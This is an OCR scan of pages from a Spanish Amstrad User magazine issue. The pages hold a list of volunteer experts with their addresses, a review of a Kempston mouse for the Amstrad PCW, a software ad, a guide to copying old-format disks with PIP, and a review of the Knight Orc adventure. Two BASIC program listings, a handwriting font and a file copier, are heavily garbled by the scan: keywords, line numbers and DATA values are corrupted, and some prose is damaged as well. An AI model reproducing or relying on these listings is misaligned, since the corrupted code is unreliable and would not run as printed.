AMSTRAD USER pone a disposicion de todos los usuarios de 
ordenadores Amstrad esta pagina con direcciones de perso¬ 
nas altruistas que quieren colaborar desinteresadamente 
respondiendo a las consultas de aquellos que les escriban. 



i quieres consultar a alguno de los 
expertos de la lista: 

No escribas a AMSTRAD USER; escribe directamente a la direccion que aparece en la 
lista de expertos, incluyendo dentro del sobre otro con tu direccion y ya franqueado, 
para que el experto te pueda contestar. 

i quieres anadir tu nombre a la lista de expertos: 

Si te consideras experto en algun tema relacionado con la informatica y/o con los or¬ 
denadores Amstrad CPC, PCW, PC o compatibles y quieres colaborar desinteresada¬ 
mente con los lectores que tengan dudas o problemas, escribe a: 


Ramdn de Miguel Saenz. Amazabal, 16, 4-A. Leiza 
NAVARRA. Amstrad CPC. PCS. Turbo Basic, 
MSDOS, OPEN ACESS II,C. 


Carles Millan Badals. Passeig Nacional, 29, pral. 1.'. 
08003 BARCELONA. Amstrad PC 1640 ECD HD20. 
WordPerfect, dBASE III PLUS, OPEN ACCESS II. 


Carlos Hernbndez Estopinan. Nueva, 2,3.°. 44001 TE- 
RUEL. Resolver problemas de juegos. 

Jesus M. a Nadal Garcia. S. Sebastian, 7, 1.°. 08784 
Pieza BARCELONA. CP/M. 

Jose M.* Nadal Garcia. S. Sebastian, 7,1.°. 08784 Pie¬ 
za BARCELONA. Digital Research Logo. 

Luis Angel Menbndez Tomillo. Piles, 16, 1.° D. 33203 
GIJON. Programacibn en Basic y bases de datos, ex¬ 
perience en todo tipo de software, dBASE III, dBA¬ 
SE II, hojas de cblculo (LOTUS 1, 2, 3; MULTIPLAN, et¬ 
cetera), procesadores de texto (LOCOSCRIPT, 
WORDSTAR, etcetera). En la gama PC sobre todo en 
los IBM, PC, XT y sus compatibles, contabilidad, sis 
temas operativos D.O.S. versibn 2.0, 3.1 y CP/M 1.4. 
Pether Norton, familia assitant de IBM, offix, copiones 
(copi write, etcetera). 

Francisco Jose Gallegos Ruiz. Jorge Manrique, 8. 
04700 El Ejido (ALMERIA). Amstrad PCW. MALLARD 
BASIC y LOCOSCRIPT, 


Amstrad User (Sec. Expertos) 
Aravaca, 22 
28040 MADRID 


Antonio Navarro Navarro. Rio Nervion, 1 /*, 11A 46025 
VALENCIA. BASIC, PASCAL, desarrollo y planifica- 
cidn de programas, FRAMEWORK, procesadores de 
texto, Sistemas Operativos MS, DOS y DOS Plus, se- 
guridad informbtica. 


Eduardo Ldpez Arcos. Trav. de las Corts, 178, piso 
4/2. 08028 BARCELONA. Amstrad PC y CPC. Paque- 
tes integra- 
dos, BASIC, 
sistemas 
como MSDOS 
y especial- 
mente los sis- 
temas del 
CPC 6128 
(CP/M PLUS y 
CP/M 22), im- 
presoras (es- 
pecialmente 
EPSON). 


: 


Indicando en tu carta muy claramente los siguierns 
datos: 

NOMBRE. 

APELLIDOS.... 

D.N.I. (o pasaporte si tu nacionalidadno 

es espanola). 

DIRECCION.| 

TELEFONO... 

Si deseas o no que se publique tu te 

lefono. 

CODIGO POSTAL. 

LOC ALIDAD... 

Ordenadores en los que te consideras 

experto. 

Temas en los que te consideras experto 

































Y tambien... 


Ratdn para el PCW 

. 101 

Copiador de forma- 

tos . 

. 104 

Knight Ore. 

. 105 

Stargiider. 

. 108 

PIP. Un superprograma 

de la A a la Z. 

. 112 

Visajet. 

. 119 

Trucos . 

. 122 




NUEVOS PRECIOS 
PCW 

8256y9512 


Amstrad baja los precios del PCW con otra 
increible oferta. For tan solo 79.900 mas IVA 
para ei 8256 y 109.900 mas IVA para el 9512, 
ahora te puedes llevar tu ordenador y un pa- 
quete de 4 programas: Amsfile, Supercalc II, 
Contabilidad y Ajedrez. jSorprendente! i,ver- 
dad'? La oferta es del 15 de septiembre al 30 
de octubre. 


LETRA 

PERSONAL 


Aqui teneis este pro- 
grama para que vues- 
tro ordenador empiece 
a escribir como si de 
vuestro puno y letra se 
tratase. 


10 TOQRY SH8FFE ■ FOR (iej=WC070 TO JHC093 ■ READ pi POKE hi),pi : NEST he> 

20 DA’A 213,£2,129,211,241,82,130,211,212.175,95,103,22,184,S6,152,192 111,41,4! 

30 MID 41,25,17,1-54,192,235,1,6,0,237,176,62,133,2!1,241,82.134,211,242,251 201 
40 FOR chips’ tO 122 FORE iHC699,(har 

50 r 0R r*)i 1 TO B ; READ binary 1 row 7 POKE lRCD994rfly,Lbinary4rov)l ; NEX T nr 
60 cl=oHC0?0 CAU. tl NETT char 

'0 0A7A 0.0,30,102.'98,205,118,0,48.48,98 108,19? '99,60,0,0 0,60,102,'92.193,125,0 
60 Mrs 8,6,12,124 204,205,118,0,0,0,124 216,240,193,126,0,15,24 24,24,252,159,48,224 
30 DAIA 0,0,124.204,204,127,58,224,48,48,96,124,204,205,196,0,12,0,12,24 56,21? 14,0 
100 0flt# 12,0,12,28,120,153,62.240,46 48.96.124,226,217,206 0,12 28,24 (8 '12,153.14 0 
110 DATA 0,0,119,127,214,199 '98 0,4,0,124,i02,204,205,196,0,0,0 60,110,102,231 60,0 
120 DATA 0,0,60,102,102,239,96,192,0,0,124 204,216,247,60,112,0,0,126,102.198,195,192 0 
130 DATA 0,0,124,102,198 143,58,0,48.48,96 124,192,193,126,0,0,0,102,102 204,205,116,0 
140 DATA 0,0,102,102,110,251.46,0,0,0,99,99,214,255.'06,0,0,0,119,156 24,153,110,0 
15') DATA 0,0,102,102.204 12? 56,224,0,0,60,102 204,135,60.!!2 
uU u (M kim tfUm a Uin fvmm/t 


ATENCION: 

PROFESIONAL EXPRESS 


Siguiendo con nuestra 
filosofia de sacar nuevas 
secciones para que sea- 
rnos capaces entre todos 
de obtener el mayor par- 
tido posible a nuestro or¬ 
denador, hemos decidido 
crear una nueva seccion 
que con el nombre de 
Profesional Express pre- 
tendemos que sea una 


ayuda eficaz para todos 
aquellos que quereis 
orientar o ya teneis orien- 
tado vuestro PCW hacia 
una actividad profesional. 

Como siempre, os pe- 
dimos vuestro apoyo y 
ayuda, tan importante 
para nosotros, para que 
nos envieis cartas con los 
temas profesionales que 


quereis que tratemos en 
la seccion, asi como pe- 
quenas utilidades de los 
programas que vosotros 
teneis y considerate que 
pueden ser de una gran 
utilidad a la hora de tra- 
bajar con el programa. 

Nosotros intentaremos, 
en ia medida que nos sea 
posible, recopiiar todo 


Ya existe en Espana 
una nueva versidn de Lo- 
coscript II con un reperto- 
rio mayor en letras (10- 
COFONT), y aunque esta 
en ingles, es de manejo 
facil y acepta perfecta- 
mente todos los simbolos 
espaiioles. Lo podeis en- 
contrar en Power Line, te- 
lefono (943) 61 51 47, al 
precio de 7.500 pesetas 
(IVA incluido). 


Con la representacion 
en exclusiva de varias 
distribuidoras inglesas 
Power Line abre nuevas 
puertas de entrada para 
el Software del PCW que 
sale al mercado en ese 
pais. Las exclusivas han 
sido realizadas con DA¬ 
TABASE SOFTWARE, 
MANDARIN SOFT, Ml 
CROLINK y con RSC 
Ltd., que por esas latitu¬ 
des es uno de los mayo- 
res distribuidores, con un 
amplio catalogo en soft¬ 
ware y hardware, no solo 
para PCW sino tambien 
para PC. 


tipo de informacion nece- 
saria sobre el tema, con- 
tactando con empresas 
que se dedican a esa la¬ 
bor, para consegui'r cata- 
logos de programas para 
que tengais una informa¬ 
cion util y de gran ayuda 
a la hora de trabajar en 
vuestra actividad profe¬ 
sional. 
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Enhorabuena por 
comprar Amstrad User. 

Tienes en tus manos lo 
mejor de io mejor: la 
unica Revista del 
Sector de Informatics 
controlada por el 
E.G.M., con mas de 
180.000 lectores (*). 

En Revista de ordenadores, 
Amstrad User ordena y manda. 


(*) Datos febrere-marzo 1988. 




















PCW 


KEMPSTON MOUSE 



Los dos elementos mas importantes: el Interface y el ratdn 


RATON PARA PCW 
>Por que no? 


Uno de los mas veteranos fabricantes de perifericos 
para mieroordenadores emprende ahora la aventura de lanzar 

un ratdn para el PCW 


K EMPSTON es una prestigiosa 
casa productora de periferia 
para mieroordenadores, Ya 
en los primeros tiempos del Sinclair 
ZXSpectrum (a principios de esta 
decada) era uno de los grandes. Ile- 
gando a ser su interface para joys¬ 
tick todo un estandar para dicho or- 
denador. Desde entonces la cali- 
dad de sus productos no ha deeai- 
do un apice. En esta ocasion se tra- 
ta de un ratdn para la familia PCW. 


En realidad, de los tres elemen¬ 
tos que componen el sistema (inter¬ 
face, software y ratdn) solo el inter¬ 
face ha sido proriucido por Kemps- 
ton. Para desarrollar el software se 
ha recurrido a los servicios de Hi- 
Soft, y el ratdn propiamente dicho 
es de Logitech, la marca sui'za co- 
nocida por el buen acabado de sus 
productos, 

Todo este conjunto viene presen- 
tado en una voluminosa caja de 


corcho bianco. La instalacidn del 
ratdn es sencilla y rapida. 

En primer lugar se debe coneaar 
el interface al puerto de expansidn 
que hay en la trasera de la mdqui- 
na (recudrdese que toda conexidn 
o desconexidn a este slot debe ha- 
cerse con el ordenador apagado), 
tras esto solo queda «pinchar» el 
ratdn al conector de nueve pines 
que incorpora el interface y aetivar- 
lo con el driver que se encuentra en 


Amstrad User /101 




























El raton ha sido fabricado por Logitech. 



el disco de utilidades del propio 
ratbn. 


El software 

En este disco ademas del contro- 
lador del raton esta un pequeno 
programa para comprobar el buen 
funcionamiento del periferico y 
unos drivers GSX para el manejo 
de graficos. Pero vamos por partes. 

El controlador es de tipo residen- 
te y hace que el raton ernule las te- 
clas de movimiento de cursor y las 
teclas ALT-i-C y ALT+R (boton iz- 
quierdo y derecho respectivamen- 
te). Por otro lado. la sensibilidad del 
raton tambibn viene dada por este 
software, sensibilidad que se ex- 
presa de acuerdo a una gradacion 
de dos a nueve, aunque el valor 
dado por defecto es cuatro. Todos 
estos parametros pueden modifi 
carse de forma temporal o perma- 
nente. esto es, que los nuevos va- 
lores se graben o no en el disco. 

De esta forma seria posible ha- 
cer que el ratbn trabajara con prae 
ticamente cualquier programa, 
pues bastaria con definir las teclas 
que emula el raton de acuerdo con 
las que usa el programa en cues- 
tion, Aunque, evidentemente, esto 
no es posible con el software de 
arranque directo. De todas formas, 
esta redaccion ha tenido oeasion 
de comprobar como determinado 
software hace caso omiso del ra¬ 
ton. aunque este genera la misma 
serial que las teclas de que hace 
uso el programa. 


Tambien merece la pena hablar 
de KTEST, el programa que permi- 
te verificar el funcionamiento del ra¬ 
ton. La utilidad de este software no 
es demasiada, aunque siempre vie¬ 
ne bien para fijar el grado de sen¬ 
sibilidad del raton y saber euales 
son las teclas que emula. 

Por ultimo, los drivers GSX, que 
permiten al raton trabajar sin mayo- 
res problemas con todas aquellas 
aplicaciones que hagan uso de esta 
extension grafica del CP/M. El pro- 
ceso de instalacion es algo mas 
complejo y, en cierto sentido, espe- 
cifico de cada programa. 


El hardware 

En cuanto al hardware, este se 
compone de dos cosas: el interfa¬ 
ce y el raton propiamente dicho. El 
interface es simplemente una caja 
de color bianco con un conector 
para el bus de expansion y una sa- 
lida de nueve pines. Su interior no 
podrla ser mas sencillo, una placa 
con pistas por ambas caras y una 
serie de chips, entre ellos algunos 
de RAM. 

El raton, como ya se ha dicho, es 
de Logitech, con un detalle que sor- 
prende rapidamente: su escaso 
peso. El mecanismo es de tipo op- 
tico, esto es, el raton al desplazar- 
se hace girar dos pequenas «rue- 
deeillas» con agujeros que cortan 
unos haces de luz, los euales indi¬ 
can al ordenador euales son los 
movimientos del ratbn. Para detec- 


PC)N 

— -n 


tar si se ha pulsado alguno de los 
dos botones, el ratbn se sirve de 
dos pequehos interruptores. 

En un principio los ratones sur- 
gieron como un elemento mbs den- 
Fro de toda una forma de entender 
la relacion hombre-maquina, eran 
la pieza clave de los llamados en- 
tornos VIMP (windows, icons, mou¬ 
se and pointer; ventanas, iconos, 
ratbn y puntero). A pesar de ello, 
las ventajas de usar estos clisposi- 
tivos de entrada en otras tareas han 
sido ya demostradas hasta la sacie- 
dad. Aunque no esta muy claro 
para que quiere un usuario de base 
de datos o de procesador de textos 
un ratbn, si es muy adecuado para 
todo tipo de trabajos graficos, y 
aqul es donde cobra especial inte- 
res el tema de la extension grafica 
GSX. 

Se trata, sin duda alguna. de un 
interesante periferico con multiples 
aplicaciones. La facilidad de adap- 
tarlo para diferentes programas lo 
hace casi compatible con easi todo 
el software existente en la actuali- 
dad. Ademas, y esto es muy impor- 
tante, se trata de un producto bien 
hecho y respaldado por todo un 
«monstruo» en esto de la periferia. 


PROGRAMAS 
QUE TRABAJAR 
CON KEMPSTON 
MOUSE 


Star Glider 
Wordstar 
SuperCalc 2 

Todo el software de HiSoft 
Cyrus II (definiendo un boton 
del ratbn como INTRO) 
Cracker 2 
Data Fax 


LO MEJOR: El buen 
acabado y las posibilidades 
de instalacion. 

LO PEOR: Que no haya 
aparecido antes. 

CREADO POR: 

KEMPSTON DATA. 

DJSTRIBUIDO 
POR: ABC SOFT. Teieto- 
no 248 82 13. 
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S uper PACK 3 

”pARAT 0 PCW- 8256-8512 

CONTABILIDAD + MULTICALC + MASTER BASE 


(Plan Contable ultima version) 


(Hoja de cdlculo) 


(Base de Oatos) 


+ 1 DISCO DE REGALO DE 3 


n 


MASTER 

BASE 


: ise de dalos. Relational 
B] geslicn automatizada de 
>535 regisiros con 32 cam- 
Kpor regislro, 

tispcne de ayudas en lodas 
opciones y en cualquier 
fomenlo 

3 se define su propia en- 
«da y salida de daios. 
iisqueda selecliva de regis- 
is por cualquiera de los 
impos o cualquier combina- 
« deellos. 

Wienie Generador de Infor¬ 
ms 

Posibilidad ae Informes 
con cualquier ordenacion 
y selectivos por cualquier 
campo ademas dispone 
Oe una opcion para defi¬ 
nite fichas y etiquetas de 
cualquier lamano. 
•Maptacion a cualquier li- 
pode impresora 
Posibilidad de defimr cual- 
qu er 'amano de papel. 

1 Pcede eslablecerse una 
jerarquia de ordenacion 
por lodos los campos 
Calculos arilmeticos. es- 
tadislicos y de gestion 
(p. ei , media, desuiacion 
lipica vananza. covarian- 
za. calculos de (VA por- 
cantajes, etc.). 


MULTI CALC 

Hoya de calculo de gran rapi- 

dez y sencillo rnaneio 

Sus caracteristicas principa¬ 
ls son 

- Mas de 60 filas. 

Desde 'A" a Z' colum- 
nas. 

- Posibilidad de mtroducir 
60 formulas de 60 carac- 
leres. 

- Admite las siguienles fun- 
ciones matemalicas. Se- 
no, Coseno Tangente Ar- 
cotangente. Logarilmo de 
cirnal, Logarilmo natural 
Ademas do funciones pro 
dclimdas (tolaflia y sublo- 
laliza aulomalicamenle) 

' SUBF Sublolaliza los 
valores de una fila 
' TOTF Totaliza los va 
lores de una fila 
' TOTC. Tolaliza los va 
lores de una columna 
’ SUBC Sublolaliza los 
valores de una columna 

- Reroute etiquetado de cel- 
das 

- Realiza araficos. 

- Obtencion de datos por 
impresora 

- Gestion automatizada del 
disco. 


1 

ksccdi Ottos sn la Unidad Af 

-^ 

ei« rpa mm ik. 

BftSE K MTOS |W»3It«fflS£) «* 

1 


OPMCKM OE tf'lLO 


OEFINICIQH OE PflHTflLLftS 

ecsriON oe ficfcros 

6&CRM0* OE IHFORKS 
KOmflCION OE FIOHEftOS 
tmm E flftSE OE OflTOS 


[Cfflfl) [RETWN] Siltcaomr [TAB] Urudad 0. Oatw [Sil| SfiUOfl 



CONTABIUDAD 
GENERAL 2 

Programs de contabilidad de 
acuerdo con el plan general 
contable espahol 
Capacidad: 

Dos unidades: 4.000 
cuenlas. asienlo y movi- 
mientos ilcmitados. 
Lengua|e 

- MBasic compilaao. 

Gestion de ficheros multinde- 
xados por iislas binarias de 
alia velocidad. 

Caracteristicas generates: 

- Hasla 96 conceplos aux,- 
liares creados por el usua- 

rio. 

- Definicidn de la configura¬ 
tor elegida por el usuario 
(1. 2 o 3 unidades de dis¬ 
co con sus respectivas 
capacidades de funciona- 
mienlo). 

- Niveles, digitos por mvel v 
cuenta programables por 
el usuario. 

Calculadora incorporada 
en el sistema sin salir de 
la aplicacion. 

- En configuraciones ilimita- 
das no hay perdida de 
apuntes contables. 

- Perdida minima de dalos 
anie codes energeticos o 
desconexion Involunlaria 
del ordenador 

- Tratamiento especifico del 
IV A. 

- Posibilidad de correccion 
de artfculos en cualquier 
momento. 

En caso de que rebosen los 
discos de datos. el programa 
avisa. 

Apartado de cuentas: 

- Tratamiento programable 
de grupos y subgrupos. 

- Generacion automatica de 
las cuentas de mvel. 

- MENU ' Alias 

' Bajas 
1 Consultas 
' Modificaciones 
' Listados. 


TODO POR 




FICHA DE PEDIDO 


-3~f- 


AflTtOJLO 

REF 

PflECIO UNITARIO 

N'Utta 

Toutpui 

iUP£A PACK 3 

WSP 007 

16 SOOPlJ * 1?% (VA 18.450 PQ 




Gaaia» de ertvfco 96 Pie t 1 2% IVA - 107 Pis 

- 07 Pa 



TOTAL PEOIDO 



FORMA OE PAGO 

□ Medtanie cfwque aa.-unio a 

n ombre da CENEC SERVICIQS, S A 

□ Conira r«mbot»o 01 recibir el 
pedrdo 


Nomure y apelMos . 
01 recoin_ 




Apartado de asientos: 

- Contrapartda directa. 

-- Contirmacion de cuenlas 
por descripcion (2 6 mas 
unidades). 

Opcion de cuadre por 
asienlo 

Traioaio en uompo dilorido. 
MENU ' Introduccion de 
asientos 

’ Modificaciones 
’ Consultas 

Dianos: 

— Diarius consultas Obten- 
cior del ultimo diario sin 
modificaciones de los fi 
cheros. 

Diario defimtivo Obtencion 
del ultimo diario. actuali¬ 
zation de los dalos conta¬ 
bles haciendo defimtivos 


los asientos de dicho diario. 

- Diario retrospectivo En el 
caso de daios ilimitados o 
de no haber sobrepasado 
los limites de la configura- 
cion actual, se puede ob- 
lener el diario de cualquier 
dia del eiercicio. 

Listados-. 

- Cuentas 
Conceplos. 

- Fichas de Mayor 

- Fichas de detalie. 

- Libros dc reg slros 

- Relacion de I V A 

- Cobros. 

- Pagos. 

- Balances programables. 

Cierres: 

- Cierre de periodo. 

- Cierre de ejercicio. 

Aperturas-. 

- Aperlura eiercicio o periodo. 


O Proles □ Persona 


Pro *n(M _ 
Cargo —_ 





ES UNA PROMOCION 

OiSTfUBiUOO EH ESPAHA POP 

ID!/Mlk9 ~XJ! 

SOFTWARE & HARDWARE 

Galileo, 26 • Tels.: 447 41 16-447 51 69 - 28015 MADRID 























































LO QUE HAY QUE SABER 




COPIA DE DISCOS DE 
FORMATO ANTIGUO 


Hemos recibido muchas cartas 
en las que nos comentais vuestros 
problemas a la hora de copiar dis¬ 
cos de formato antiguo y otras mu¬ 
chas en las que nos comentais que 
la forma que os explicamos en el 
numero de julio diciendo que bus- 
carais un CPC para poder copiar- 
los no era lo mejor. 

Aqui tenemos dos formas que 
hemos encontrado de copiar discos 
con formato antiguo: 

A) Desde CP/M con PIP. 


Esta forma nos va a permitir co¬ 
piar los discos o parte de ellos. El 
formato es PIP X:=Z:\*. Habiendo 
que sustituir X y Z por el nombre de 
las unidades (A, B, M), sabiendo 
que X es la unidad de donde va a 
coger los programas, y Z donde los 
va a dejar. El significa que va a 
copiar todos los ficheros. Pero se 
puede sustituir por *.COM y copia¬ 
ra todos los ficheros del tipo .COM, 
otra forma es BASIC.* que copiara 
todos los prograrrias que se llamen 


BASIC sin fijarse en la extension. Y 
por ultimo, la forma BASIC.COM 
que copiara simplemente el progra- 
ma BASIC.COM. 

A la hora de ufilizar el PIP debe- 
, remos de utilizarlo de una forma u 
otra dependiendo de si tenemos 
dos o una unidad de disco: 

1) Para ordenadores de una sola 
unidad. 

Pondremos en la unidad M o en 
el disco a copiar el programa PIP. 
A continuacion escribiremos: PIP 
B:=A:\* Esto hara que coja el pri¬ 
mer programa que encuenlre en la 
unidad A. y buscara la unidad B 
para dejarlo. Al no encontrarla sa- 
cara un mensaje diciendo que co- 
loauemos el disco para B. Sacare- 
mos el disco a copiar, y meteremos 
el disco destino pulsando a conti¬ 
nuacion una tecla. Una vez hecho 
esto pedira el disco para A y mete¬ 
remos el disco a copiar. Esta ope- 
racion la tendremos que hacer tan- 
fas veces como programas tenga el 
disco que queremos copiar. 

Una forma en la que el cambio 
de discos no es tan constante es in- 
troduciendo el disco a copiar y te- 
cleando laorden PIPm:=A:*.*. Una 
vez que haya terminado la copia 
cambiaremos el disco e introducire- 
mos el disco destino tecleando PIP 
A: = M:*.*. Esta ultima forma tiene el 
inconveniente de que no puede co¬ 
piar todo el disco complete debido 
a que el disco de memoria solo dis¬ 
pone de 112 K mientras que un dis¬ 
co normal tiene 169 K. 

2) Para ordenadores de dos uni¬ 
dades. 


COPIADOR DE PROGRAMAS DESDE BASIC 


A menudo nos surge la 
necesidad de copiar pro¬ 
gramas desde BASIC, 
con el consiguiente tras- 
torno de salirnos del sis- 
tema para volver a enirar. 
Con este programa po- 
dremos copiar los progra¬ 
mas sin necesidad de sa¬ 
lirnos del sistema. 

Puede resultarnos muy 
util si lo ponemos en los 
programas que nosotros 
hagamos como una op- 
cion mas. 


Su manejo es muy sen- 
cillo, al igual que los posi- 
bles errores que nos pue- 
da ocasionar Introducire- 
mos cuando nos pide el 
nombre del programa a 
copiar. en primer lugar la 
unidad donde esta el pro¬ 
grama, y a continuacion 
el nombre con el tipo. El 
programa destino se in¬ 
troduce igual que hemos 
introducido la fuente. Va- 
mos a ver un ejemplo: 

Si queremos copiar el 


programa BASIC.COM 
que esta en la unidad A y 
llamarlo BASIC.COM en 
la unidad M, deberemos 
de hacer lo siguiente: Es¬ 
cribiremos A:BASIC.CGM 
<Return>. Y despues el 
nombre del destino: 
M:BASIC.COM <Re- 
turn>. 

Si lo que queriamos era 
que en la unidad M en vez 
de llamarse BASIC se lla- 
mara fichero pondriamos: 
M:FICHERO.COM. 


Para terminar su ejecu- 
cion basta con pulsar 
ante cualquiera de las 
dos preguntas Return y 
abandonaremos el pro¬ 
grama. 

Los errores que nos 
pueda ocasionar se redu- 
cen a dos: no existe es- 

pacio en la unidad de 
destino, o no existe el 
programa que queremos 
copiar. 

Javier Bon 
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En este caso, el proceso se sim- 
plifica poniendo en la unidad A el 
disco a copiar y en la unidad B el 
disco destino o viceversa, pero 
cambiando el nombre de las unida- 
des en la orden PIP. El formato 
para copiar de A a B seria PIP 
B:=A:*.* y el formato para copiar de 
B a A PIP A:-B:*.*. 

B) Desde Locoscript. 

La forma de copiar los programas 
aquf, al igual que en PIP, depende 
de si tienes una o dos unidades. 

1) Para una sola unidad. 

En este caso, deberemos pasar 
los programas de la unidad A a la 
unidad M. y una vez que estan en 


esta cambiar el disco del que he- 
mos copiado por el disco a! que va- 
mos a dejar la copia (recordamos 
que en Locoscript para cambiar un 
disco hay que meter el disco y a 
continuacion pulsar FI). Una vez 
hecho esto pasaremos los progra¬ 
mas de la unidad M a la unidad A. 

2) Para dos unidades. 

Aqui es mas sencillo, basta con 
poner los discos en las respectivas 
unidades (aqui tambien se debe 
pulsar FI cuando hayamos introdu- 
cido los discos en las unidades) e 
ir pasandolos uno a uno. 

NOTA: Algunas veces cuando 
pedimos el directorio de un disco 
nos sale un mensaje diciendonos 


que existen ficheros del sistema. 
Estos ficheros no pueden ser copia- 
dos directamente por ninguno de 
los procedimientos anteriores. Para 
poder permitir que se puedan co¬ 
piar deberemos devolverles el atri- 
buto de ficheros normales con la or¬ 
den SET nombre-fichero |DIR? 
Tambien os recordamos que para 
ver el nombre de estos ficheros en 
vez de escribir DIR escribiremos 
DIRS. Una vez que los hayamos 
devuelto el formato normal y hayan 
sido copiados, deberemos devol¬ 
verles el atributo del sistema tanto 
en el original como en la copia con 
la orden SET nombre-fichero 
jSYS? 


10 REN ... 

20 REM PR06RAHA PARA COPIAR FICHEROS DESDE BBS 1C 

30 REM JAVIER BON 

X0 REM .. ... 

50 REM 
BO REM 

70 MEMORY 1HBFF C . CLEAR : DIM b<40) 

80 direc'JHCOOO 
30 FOR 1*1 TO 15 
100 FOR n=t TO IS 
I1C READ b*;b-VflLE“lH*+b») 

120 POKE direc.b 
130 direc=direc+l 
HO suna=su(arb 
150 NEIT n 

IE.) READ «jdigo$(cddigo=VAU"iH'+cadigoi);IF suiaOcodigo THEN PRINT "ERROR EN DATAS EN L!NEA";3S0HlJI0!:ST0P 
170 suia*0 
180 NEXT a 

130 POKE direc,JH24:F0R a=l TO !00;POKE direc+a,0:NEX T 
200 op*=" A CO'IAR " ; direoAKCOFI , GGSUB 250 

210 op»=" COPIA " direc*JHC121 ; SOSOB 250 . ficKero*-CHR»<unldad+6X)* - i'*a* 

220 IF FlHO*(f!cbero«0"’ THEN PRINT 'ERROR; El lichen ■-tlfchero**' ya existe pulse <8) para borrar el antiguo y grabar el nuev 
o <C> para cancelar operacion" SQTD 240 
230 a=5HCOOO CALL a ; SOTO 130 

240 tS=INPUT»0) . IF (S="B‘ OR l»='b" THEN KILL fichefo* 60T0 230 ELSE IF t»*'C" OR t*='c" THEN FOR a*l TO 40 ; b(a)--0 ; NEIT a 
SGT0 200 ELSE SOTO 230 

250 PRINT ; PRINT "Escriba el nonbre del fichero’+op*iPRIMT "(unidad:fichero,tipo ei; A:BAS!C,C0H) ; LINE INPUT;A3 

250 IF LEN(a*)=0 THEN END ELSE IF LENfAMM THEN PRINT iPRINT 'Error;no»bre del fichero deiasiado largo" I 60T0 250 ELSE a»'LIPPER 

al) 

270 unidad=ASC(LEFT*(al,l»-64 : IF umdad>2 ANO umdad<>!3 THEN PRINT PRINT "ERROR; Unidad sncorrecta' ; 60TO 250 

280 POKE direc,unidad ; IF MIOIlal.2,I!OCHRI(S8) THEN PRINT ■ PRINT 'ERROR’separe la unidad del aaibre del lichen lediante dos p 

tos (: )";60T0 250 ELSE a»=M0Ka»,3,LEN(al>-2) 

230 POR a=l TO LENCal) ; o(a)-flSCLMID*Cal,a,I; IF b(a)=46 THEN (lag=a 
300 NEXT a 

310 IF tlag=0 THEN PRINT;PRINT'ERRQR: Separe el noebre del fichero del tipo lediante un punto (,)" ; SOTO 250 ElSE IF (!ag)3 THEN 

INI ; PRINT 'ERROR; El noibra del fichero sin el tiao no puede ser superior a 6 caracteres." ; SOTO 250 

320 FOR a=l TO fLag-! . b(a*141*b(a);NEXT a 

330 IF flag<3 THEN FOR a’flag TO 8 ■. b(14+a)=31 ■, NEIT a 

340 FOR a*flag-H 10 LENcalHl : b(22+a-f lag)=b(a) ; NEXT 

350 FOR a*l TO 11 ; POKE direc+a,b(U+a) ; NUT a 

360 RETURN 

370 DATA II.FI.CO.E.F.CD.S.O.FE.FF.CA.IF.CD, 11,21 CI.77A 
380 DATA E,IS,COjS,0,FE FF £4.55,00,21 Ft,C0,11,20.0,605 
330 DATA 19,36,0,11,FI,£0,5,14,00,5,0,FE,0 C2,40,C0,5C5 
400 DATA 11,21,Cl,E,1S,CD,5,C,FE,0,C2,SB,C0,C3,23,CO,559 
410 0ATA 11,FI,CO.00,43.CO II,21,Cl,E,10,CD,5,0,S3,II,(55 
420 0ATA 64,00,03,5E,CO,II,7F,C0,C3,5E,CO,11,68,00,E 9, 7 D9 
430 DATA CO.5,0 09,45,52.52,4F,52,20,45,40 20 46,49,43,408 
440 DATA 48,4S,S2,4F,20,4£ 4F,20,45,58,49 53,54,45,24 45,446 
450 DATA 52,52,46,52,20,41,40,20,43,52,45 41.52.20,46,49,42E 
460 DATA 43,48,45,52,4F,20,43,4F,40,50,52,56,45,56,45,20,473 
470 DATA 53,49,20,51 55,45,44,41,20,53,49,54,49.4F,20,(5,439 
480 DATA 4E,20,45 4C,20,44,49,53,43,46,24,45,52,52,4F,52,43F 
430 DATA 20,41,40 20,45,53,43,52,49,42,49.52 )A 4E,4F 20,417 
500 DATA 48,41,59.20.53,49,54,49,46,20,53 55,46 49,43,49,460 
510 DATA 45,IE.54.45,20,45,4E,20,45,40.20,44,49.53,43 4F.422 
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KNIGHT 

ORC 

Cuando aprender ingles se 
hace verdaderamente 
imprescindible. 


E fectivamen- 

TE, para jugar 
a este juego 
es verdadera¬ 
mente imprescindible 
aprender ingles, ya que 
se trata de una aventura 
conversacional, esto es, 
un juego en el que tene- 
mos que darle instruccio- 
nes escritas en el teclado 
al juego para que ocurran 
cosas, y el idioma en que 
hay que escribirlas es in¬ 
gles. Mas aun, el juego 
tambien nos contesta con 


textos en la pantalla, y es- 
tos tambien estan en in¬ 
gles. Y, como no. las ins- 
trucciones estan tambien 
en ingles. 

La aventura trata de 
unos personajes que, se- 
gun se representan en la 
caratula del juego, tienen 
cuerpo robusto y vello 
abundante, cara de cerdo 
y montan a lomos de ja- 
balies salvajes; [todo un 
caracter! Por lo demas, 
se trata de una aventura 
conversacional del mon¬ 


ton, con movimientos 
(norte, sur : etcetera), ac- 
ciones y objetos, y con 
bastantes personajes 
que, eso si, poseen movi- 
miento propio, lo que le 
da algo de variedad al 
juego. 

Tal vez lo mas llamati- 
vo sea la proteccidn utili- 
zada, que, aunque nada 
efectiva para los piratas. 
si resulta bastante moles- 
ta para el que lo juegue, 
sea pirata o comprador 
legal. Consiste esta pro- 
teccion en que, a! princi¬ 
ple del juego, se nos pide 
que introduzcamos cierta 
palabra de cierto parrafo 
de cierta pagina de! 
«cuento» escrito que 
acomparia al juego. La 
solucion de fotocopiar el 
cuenio a la vez que se co- 
pia el disquette es tan ob- 
via que no comprendo 
como han mantenido ese 
sistema de proteccion. El 
hecho es que resulta bas¬ 
tante incomodo tener que 
buscar en cada ejecucion 
la palabrita que nos pi- 
dan. 


La aventura se supone 
dividida en tres partes, 
correspondiendo cada 
una a un libro. El libro I 
se titula "Loosed Orc>; el 
libro II se titula «A Kind of 
Magic», y e! libro III, 
«Hordes of the Mountain 
King». 

Por lo demas, poco 
mas se puede decir del 
juego, ya que entre la di- 
ficultad propia de todo 
juego y el peculiar ingles 
en que nos habla el orde- 
nador, no es posible 
avanzar mucho sin perder 
gran cantidad de tiempo 
con el diccionario. Eso si, 
de lo que hemos podido 
ver, destaca la escasez 
de graficos (tan solo una 
pantalla, y no muy bue- 
na).—E. H. D. 

CREADO POR: RAIN 

BIRD. 

DISTRIBUIDOR EN 
